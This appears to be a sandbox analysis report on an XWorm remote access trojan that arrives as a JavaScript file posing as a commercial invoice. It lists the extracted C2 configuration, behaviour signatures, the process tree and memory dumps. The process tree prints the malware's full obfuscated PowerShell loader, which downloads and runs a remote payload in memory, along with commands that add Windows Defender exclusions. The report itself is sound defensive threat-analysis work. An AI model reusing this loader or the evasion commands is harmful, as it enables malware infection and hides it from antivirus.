Analysis
- max time kernel
299s - max time network
296s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/10/2026, 13:53
General
- Target RE Commercial Invoice & Packing List PO 4500272644 - R0-Supply 250787.js
- Size 30KB
- Sample261001-q643jayhjd
- SHA256 459e01fec224c12768f5301ef3e85f35eed15e0c4fb76159b580ae36fdd22bb9
Malware Config
Extracted
-
xworm
-
5.0
-
155.103.69.56:4326
-
kPIDg65Vaqnm9ykg
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RE Commercial Invoice & Packing List PO 4500272644 - R0-Supply 250787.js"1⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgncnB2R3RhbGxpYXRlID0gY2VzaHR0cHM6Ly9yb3VnaC10cnV0aC1lMDcyLnB1YmxpY2Z0cHJlc2VuZC53b3JrZXJzLmQnKydldi90Y2duYWhsZ3FjZXM7IHJwdkdmZXJveHloeXRlID0gY2VzQzonKydoN2YwVXNlcnNoN2YwUHVibGljaDdmMERvd25sb2Fkc2g3ZjBwJysnYXknKydsb2FkLnR4dGNlczsgcnB2R2dhbGxpYW4gPSBbYWN0aXZhdG9yXTo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjbGllbnRdKTsgcnB2R2dhbGxpYW4uSGVhZGVycy5BZGQoY2VzVXNlci1BZ2VudGNlcywgY2UnKydzTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMCcrJy4wLjAuMCBTYWZhcmkvNTM3LjM2Y2VzJysnKTsgcnB2R2dhbGxpYW4uRCcrJ293bmxvYWRGaWxlKHJwdkd0YWxsaWF0ZSwgcnB2R2Zlcm94eWh5dGUpOyBycHZHaG9uZXlzdWNrbGVzID0gKEdldC1Db250ZW50IHJwdkdmZXJveHloeXRlIC1SYXcpOyBycHZHbHVnaW5nID0gcnB2R2hvbmV5c3Vja2xlcy5SZXBsYWNlKGplRSpqZUUsamVFQWplRSk7IHJwdkdkZWZpYnJpbGxhdGUgPSBbJysnY2hhcltdXSgocnB2R2x1Z2luZy5Ub0NoYXJBcnJheSgpKVsocnB2R2x1Z2luZy5MZW5ndGgtMScrJykuLjBdKTsgcnB2R2V1c2lwaG9uaWEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQicrJ2FzZTY0U3RyaW5nKC1qb2luIHJwdkdkZWZpYnJpbGxhdGUpOyBbQXBwJysnRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKHJwdkcnKydldXNpcGhvbmlhKScrJyBJdlAgT3V0LU51bGw7IFtXaW4zMi5STVAuYWFhYWFhYV06OmFhYWFhYWFhYWFhKGplRU5wTUs5TVB2Q1pmR3poeGUwcXZFaDhzNi81RC9UdlZxMzhuTUU4cnh6a0Nzc2x1Snh5OCtKJysnNkZuSnB2cEpGVElkZUhLa3c0UUZQNUdHRU9jS21kd3JLbTFkZ0NlWWM2R08vWlp5RXhINnowPWplRSxqZUU1bGNpSTc4TStjRkV0d0NmTll3OFMrSXRFQ3hEK3hoWFFobFBWQXdLak5ZPWplRSxqZUVCVHBMT0lOeHMzQnliS3ZTN0U5SWFUTVNlZ01SMC8yVjg0YitGUEVBNzNpbkMzbUZvdWpDOUZXWXRWSycrJ1g3ZENhamVFLGplRS9MNUU4VGo5WUhsU0h6VE5VRVMwTWRMMGlUK2t6RDg1UWZ6emtTRGR2NHM9amVFLGonKydlRVhZJysnYkFmSUlocW9kZDhWSDhzamFSLzhQY21ZTW5qOEhvc0VjanI0RHl4a289amVFLGplRWplRSxqZUUwZjcyMDlpYTVmVHo0dUEzYU9ScUxtNU5wK2dPL0RMdEZLNGVrTWpkQUJJPWplRSxqZUU3S2ljZ1UzeTNlTGJhRklYVXAvd05vemduY0ZTWm9EcFE3UFJKNCcrJ0lQUWQ0PWplRSxqZScrJ0VJYXpUem9YbEk0OHd0YW81WUJZQWwxWS94eHZ5TmlpNzI5cWEnKycvN1ptVDl3PWplRSxqZUVxVUdQMWJyV0lUYicrJzVKakwyVi95c0VQRHg0SGxmUWx3cDQzejZaMEV0YzRDUlY1MlIxaC96czVzTkpaekJjdmZZamVFLGplRUsnKydXZScrJ2VySDk0am15QjlQSGFxSVhhbE9FaDlnTlonKyc1aW5BUlByR3BhTXlrZ2s9amVFLGonKydlRVU3NmZIRGpYUHZoekJXWlpEbScrJ1pWTlBETkxvZjBMVE5rQm1XM2t2Yzd5KzQ9amVFLGplRWR0V0lPU0w4aUVKVmtpcDdQVUova1dJMVVqRlBwMFljVTN5ck5sekljRnM9amVFLGplRXJFRldLWFdvSU44dEdkNVc0YTVPaWIxaURGT01SaW1paVphSEFlK1FNc2c9amVFLGplRXFTOWFwK3NLc1dwK1d3aUZEbE5RdEVxTGRpdjdSYzJhVmF0YTlVd3J4RVk9amVFLGplRWkxJysnWXFOSWIxTXJYb2pxeFZsWjdOU25mclRhMCcrJ1VCTicrJ2Qrb1U5QicrJ1JxVHl0Tmc9amVFLGplRWplRSxqZUVqZUUsamVFamVFKTsgUmVtb3ZlJysnLUl0ZW0gLVBhdGggcnB2R2Zlcm94eWgnKyd5dGUgLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlJykgLWNyZXBMQWNFKFtjSEFSXTEwNCtbY0hBUl01NStbY0hBUl0xMDIrW2NIQVJdNDgpLFtjSEFSXTkyICAtY3JlcExBY0UgIChbY0hBUl0xMTQrW2NIQVJdMTEyK1tjSEFSXTExOCtbY0hBUl03MSksW2NIQVJdMzYtcmVwbGFDZSAoW2NIQVJdOTkrW2NIQVJdMTAxK1tjSEFSXTExNSksW2NIQVJdMzQgIC1jcmVwTEFjRSAoW2NIQVJdMTA2K1tjSEFSXTEwMStbY0hBUl02OSksW2NIQVJdMzkgLWNyZXBMQWNFJ0l2UCcsW2NIQVJdMTI0KSB8SU52T0tFLWV4UHJlc3NJb24=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_p343crid.0vc.ps1
memory/2416-945-0x0000000007D10000-0x0000000007D1A000-memory.dmp
memory/2416-937-0x0000000007AF0000-0x0000000007B26000-memory.dmp
memory/2416-929-0x00000000062C0000-0x0000000006326000-memory.dmp
memory/2416-930-0x0000000006420000-0x0000000006486000-memory.dmp
memory/2416-933-0x0000000006640000-0x000000000699B000-memory.dmp
memory/2416-927-0x0000000005C00000-0x000000000624A000-memory.dmp
memory/2416-935-0x00000000065C0000-0x00000000065DE000-memory.dmp
memory/2416-936-0x00000000069E0000-0x0000000006A2C000-memory.dmp
memory/2416-946-0x0000000007F10000-0x0000000007FA6000-memory.dmp
memory/2416-926-0x00000000054A0000-0x00000000054D6000-memory.dmp
memory/2416-944-0x0000000007CA0000-0x0000000007CBA000-memory.dmp
memory/2416-943-0x00000000082E0000-0x000000000895C000-memory.dmp
memory/2416-942-0x0000000007B40000-0x0000000007BE3000-memory.dmp
memory/2416-941-0x0000000006F00000-0x0000000006F20000-memory.dmp
memory/2416-938-0x0000000070AC0000-0x0000000070B0C000-memory.dmp
memory/2416-928-0x0000000005A70000-0x0000000005A92000-memory.dmp
memory/2460-925-0x0000000005230000-0x00000000052CC000-memory.dmp
memory/2460-924-0x0000000000400000-0x0000000000410000-memory.dmp
memory/2460-956-0x0000000005F90000-0x000000000654A000-memory.dmp
memory/2460-957-0x0000000005E50000-0x0000000005EE2000-memory.dmp
memory/2460-958-0x0000000005E40000-0x0000000005E4A000-memory.dmp
memory/4904-950-0x0000000005CE0000-0x000000000603B000-memory.dmp
memory/4904-952-0x0000000070AC0000-0x0000000070B0C000-memory.dmp
memory/5708-92-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-64-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-138-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-146-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-144-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-142-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-140-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-136-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-134-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-132-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-130-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-128-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-126-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-124-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-122-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-120-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-118-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-116-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-114-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-112-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-110-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-108-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-106-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-104-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-102-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-100-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-98-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-94-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-78-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-90-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-88-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-86-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-84-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-82-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-80-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-76-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-74-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-72-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-70-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-68-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-66-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-96-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-60-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-58-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-55-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-50-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-48-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-44-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-42-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-39-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-56-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-52-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-46-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-32-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-30-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-28-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-26-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-62-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-40-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-36-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-34-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-20-0x0000023F2DFB0000-0x0000023F2E01C000-memory.dmp
memory/5708-19-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-18-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-17-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-16-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-15-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-14-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-13-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-12-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-9-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-8-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-7-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-6-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-5-0x0000023F2DA50000-0x0000023F2DA72000-memory.dmp
memory/5708-4-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-1-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-0-0x00007FFFBD2EF000-0x00007FFFBD2F0000-memory.dmp
memory/5708-24-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-22-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-21-0x0000023F2DFB0000-0x0000023F2E017000-memory.dmp
memory/5708-919-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/5708-923-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp